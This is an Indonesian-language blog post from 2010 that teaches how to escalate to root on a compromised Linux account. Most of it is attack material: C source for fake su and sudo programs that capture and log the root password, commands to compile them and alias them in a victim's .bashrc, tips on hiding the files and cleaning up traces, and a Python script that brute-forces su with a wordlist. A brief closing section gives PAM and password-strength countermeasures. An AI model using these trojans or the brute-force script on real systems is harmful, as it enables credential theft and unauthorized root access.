Sabtu, 06 Februari 2010

Ngeroot Linux memanfaatkan penyalahgunaan su dan sudo

Yup kali ini adalah sedikit tutor ringan ngeroot linux dh menyalahgunakan menggunakan trojan dan dict attack su dan sudo.
pada suatu ketika mungkin Anda mendapatkan suatu login ssh atau bc atau bdp dg suphp mode on dg login user biasa (uidnya bukan root(0)).
Diantara begitu banyak penyalah gunaan yang ada di linux utk gaining root akun (format string, bof, suid, elf infected, mengecek kesalahan permisi file dan direktori), kali ini kita akan menggunaan teknik penyalah gunaan su dan sudo ( dg catatan user biasa tersebut memiliki permisi menjalankan su dan sudo).
ok ga pake basa basi kita mulai, misal penulis mendapatkan akun di sebuah mesin dg login: turkmentel
mangga-dua.com/albums/thumb/su1.jpg

langsung kita cek apa su dan sudo bisa dipake dg mengetik su dan sudo. jika bisa maka kita bisa lakukan trik2 ini untuk mendapat root:
Su & Sudo Trojan
kalau di jaman dulu mungkin anda banyak yg senang pakai trojan 2 yg bisa didownload di astalavista tapi kali ini fungsinya serupa tapi tak sama. begini cara kerja dan cara pasang trojan su dan sudo ini:
su trojan: (fakesu.c)

========================================================================
#include
#include
#include
int main()
{
FILE *log;
char *password[100];
printf("Password:");
scanf("%s",&password);
log=fopen("/tmp/.../log.txt","a+");
if(log!=NULL)
{
fputs("\nSimple su trojan by mywisdom\n",log);
fputs(password,log);
fputs("\n",log);

}
printf("Sorry\n");
}
========================================================================

Silahkan dimodif kalau bisa sih ukuranya dibikin sama dg elf binary su yg asli dan disesuaikan dg stdout di mesin yg mao diroot(misal kita taruh di direktori /tmp/... (kalo gak terpaksa jgn ditaruh di /tmp krn tmp merupakan sasaran audit sistem),jangan lupa hapus semua berkas2 bekas anda ngeroot di /tmp setelah mendapat akses root. berikut ini kita siapkan perangkap utk user asli saat beliau mengetik perintah su (siapkan file log.txt di direktori /tmp/.../log.txt):

=========================================================================
cd /tmp & mkdir ...
cd /tmp/...;nano fakesu.c
gcc fakesu.c -o fakesu
touch log.txt
=======================================================================

(nama file gak mesti fakesu bisa nama 2 yg tidak mencurigakan, direktori juga gak mesti di /tmp/... (bebas silahkan taruh di tempat yg kira 2 aman)
misal kita punya akses user dg login turkmentel dg home direktori di /home/turkmentel,lalu kita edit .bashrc (jika jenis shell user adalah bash, di mana .bashrc merupakan setting startup utk bash shell)

==========================================================================
turkmentel@localhost.localdomain:~$cd & pwd
/home/turkmentel
turkmentel@localhost.localdomain:~$nano .bashrc
===================================================================

(editor tidak harus nano bisa pico,vim,vi,dll)
lalu kita tambahkan alias ini di .bashrc (misal:

==============================================================
alias su='/tmp/..././fakesu'
==============================================================

di mana alias path gak mestik /tmp/..., silahkan disesuaikan di mana anda taruh trojan tsb di tempat yang aman. (disarankan jgn di /tmp jika tidak terpaksa)
yup memang ini sangat cocok utk user biasa yang kadang menggunakan perintah su. begitu si user turkmentel asli mengetik su:

maka password root nya akan terekam di file log.txt di direktori /tmp/... yg tadi kita siapkan.
selain su, trojan utk sudo juga bisa kita buat dg urutan step2 pemasangan jebakan yg sama dg trojan su.

===============================================================
#include
#include
#include
int main()
{
FILE *log;

char *password[100];
printf("Password:");
scanf("%s",&password);

log=fopen("/usr/include/.../log.txt","a+");
if(log!=NULL)
{
fputs("\nSimple sudo trojan by mywisdom\n",log);
fputs(password,log);
fputs("\n",log);

}
printf("Sorry\n");
}
=========================================================================

caranya sama dg step di atas dg alias sudo di .bashrc (bash startup) silahkan dimodif dan disesuaikan dg kondisi di server:

=========================================================================
#include
#include
#include
int main()
{
FILE *log;

char *password[100];
printf("Password:");
scanf("%s",&password);

log=fopen("/usr/include/.../log.txt","a+");
if(log!=NULL)
{
fputs("\nSimple sudo trojan by mywisdom\n",log);
fputs(password,log);
fputs("\n",log);

}
printf("Sorry\n");
}
=======================================================================

Su & Sudo Dictionary Attack
yup teknik ini akan mempan utk password2 root yang lemah. khusus kali ini ane siapkan skrip python sederhana yang bisa melakukan dict attack password root dg membaca stdout yg dihasilkan dari perintah su dan penginputan password ke stdin sebelumnya (modul python pexpect harus ada di mesin itu).
sebelumnya siapkan daftar wordlist di direktori yang sama dg file su.py ini
su.py

=====================================================================
#simpe su dict attack by xXx
#!/usr/bin/python
import pexpect
import sys
import time
import os
fd = open("pasword1.txt")
content = fd.readline()
salah="ya"
while (content != "" and salah=="ya"):
content.replace( "\n", "" )
content = fd.readline()
print "trying su using password:"+content

foo = pexpect.spawn('su')
foo.expect('.*')
foo.sendline(content)
try:
a=foo.expect(['#', 'Terminal type', '[#\$] '])
if a == 0:
print "w00t found su password for this idiotic root: "+content+"\n"
foo.kill(0)
salah="tidak"
sys.exit(0)

else:
print "salah neh\n"
foo.kill(0)
except:
if salah=="ya":
print "wrong password for su baby, sorry!\n"
foo.kill(0)
===========================================================================

Berikut ini screen shoot hasil uji coba di kala mendapat password root:
yup didapat password root adala fuckyou

Pencegahan
dengan mencegah teknik2 ini adalah mencegah user biasa menggunakan su mengedit file /etc/pam.d/su

tambahkan line ini:

======================================================================
auth required pam_wheel.so use_uid
account required pam_unix.so
======================================================================

Atau bisa juga mengatur permisi su dan sudo agar hanya bisa diexecute oleh root dan juga menggunakan password yang kuat (kombinasi angka,huruf,karakter)...

Tidak ada komentar:

Posting Komentar